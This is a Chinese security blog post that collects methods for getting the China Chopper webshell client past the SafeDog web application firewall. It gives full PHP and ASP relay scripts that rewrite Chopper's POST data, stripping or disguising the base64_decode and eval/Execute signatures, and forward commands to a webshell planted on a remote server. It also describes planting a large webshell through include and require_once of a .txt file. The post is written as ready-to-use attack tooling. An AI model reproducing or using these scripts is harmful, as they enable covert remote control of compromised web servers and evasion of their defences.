当前位置: 首页 > 代码审计, 网络安全 > 正文

菜刀绕过安全狗连接一句话shell的各种方法

一、对于php马:

用一句话链接上传好的php一句话时,发现403拒绝访问,我们通过WSexplorer抓包得知,安全狗拦截了某一部分代码,导致我们链接一句话失败,最后测试是base64_decode 字符被拦截,应该是想法替换掉,或者encode。用PHP写个中转脚本不就行了!用PHP接收菜刀的post然后把post里面的base64_decode替换掉。

 

如下代码:

<?php
$webshell="http://www.phpinfo.me/plus/helen.php";//把这里改成你的shell地址
$webshell=$webshell."?&1141056911=base64_decode";

$da=$_POST;
$data = $da;
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911](

//print_r($data);

$data = http_build_query($data);
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);

$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context); //发送post
echo $html;

?>

用法是把上段代码保存为door.php,然后把文件放到本地的php环境里,菜刀连接http://127.0.0.1/door.php,就ok了。

二、对于asp马,有可能不成功。

asp连接的时候安全狗拦截的正是菜刀POST里的eval("Ex"%26cHr(101)%26"cute关键字(当然对于不同版本字符可能不同,请自己斟酌),那么只需替换下,替换成eval("Ex"%26cHr(101)%26cHr(99)%26"ute即可秒杀之,中转代码如下:

<?php

/******************************

fuck SafeDog

如果是asp的一句话那么菜刀连接的时候,地址要这样填:

http://127.0.0.1/door.php?type=asp

最后三个字母必须是asp不然菜刀会提示脚本类型选择错误...

*****************************/

$webshell="http://xxoo.com/data/%23data.asp";//把这里改成你的shell地址
$webshell=$webshell."?&1141056911=base64_decode";
$da=$_POST;
$data = $da;
@$data=str_replace("base64_decode",'$_GET[1141056911]',$data); //PHP杀狗
$data = http_build_query($data);

//asp杀狗
@$data=str_replace('eval%28%22Ex%22%26cHr%28101%29%26%22cute','eval%28%22Ex%22%26cHr%28101%29%26cHr%2899%29%26%22ute',$data);
echo $data;
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);

$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context); //发送post
echo $html;

?>

菜刀连接时要用http://127.0.0.1/door.php?type=asp连接,选asp脚本。

三、对于另外一种版本绕过安全狗的php脚本。

经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。转发脚本如下:

<?php
$target="http://127.0.0.1/door.php";//这个就是前面那个一句话的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

http://127.0.0.1/door.php?a=assert  菜刀绕过安全狗连接一句话shell的各种方法|过狗菜刀 过安全狗|熊猫博客

四、再就是鬼哥写的一段代码,说是测试了php,aspx,jsp等格式的,asp的没测试。。,反正我是没成功!连接格式一样!

<%
'饶过的原理,抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字 就成!
JmStr=Replace(Request.Form,"$_POST","$_REQUEST")
JmStr=Replace(JmStr,"->|","-->|")
JmStr=Replace(JmStr,"@eval(","@eval (")
JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String")
JMUrl=request("dz")
response.write request("dz")
JmRef=JMUrl
JmCok=""
'作者: 鬼哥
'菜刀突破安全狗连接!
'www.90sec.org
response.write PostData(JMUrl,JmStr,JmCok,JmRef)

Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
'.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function URLEncoding(vstrin)
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
URLEncoding=strReturn
End Function
%>

五、搜集各种版本的菜刀,可能有别人做好绕过安全狗的了,或者打造一款属于自己的菜刀,可以移步到这里。这里也向大家推荐一款更好的类似菜刀的工具Altman:它的最大特点是开源,这意味着像安全狗这种根据特征来拦截的,只要改改源代码把特征字符串改掉,就永远也无法拦截。当然改这个代码要你自己动手喽。

六、要是以上方法都不行,就直接用下面的方法过安全狗直接上传大马。

1.将大马写到一个txt文件里面,命名为dama.txt

再建一个文本文档,asp的就写入: <!--#include file="dama.txt"-->保存为dama.asp     //两个文件一定要传同目录下,file里千万不要

/这个字符,访问 http://www.s.com/dama.asp 就是我们的大马了。

2.php的同样的原理,dama.txt php文件写入: <?php require_once ("dama.txt"); ?>

 


本文固定链接: http://www.chnpanda.com/895.html | 熊猫博客 | 转载请注明出处,谢谢合作!

本文关键字: ,

菜刀绕过安全狗连接一句话shell的各种方法:等您坐沙发呢!

发表评论

亲,不支持纯字母、符号评论哦~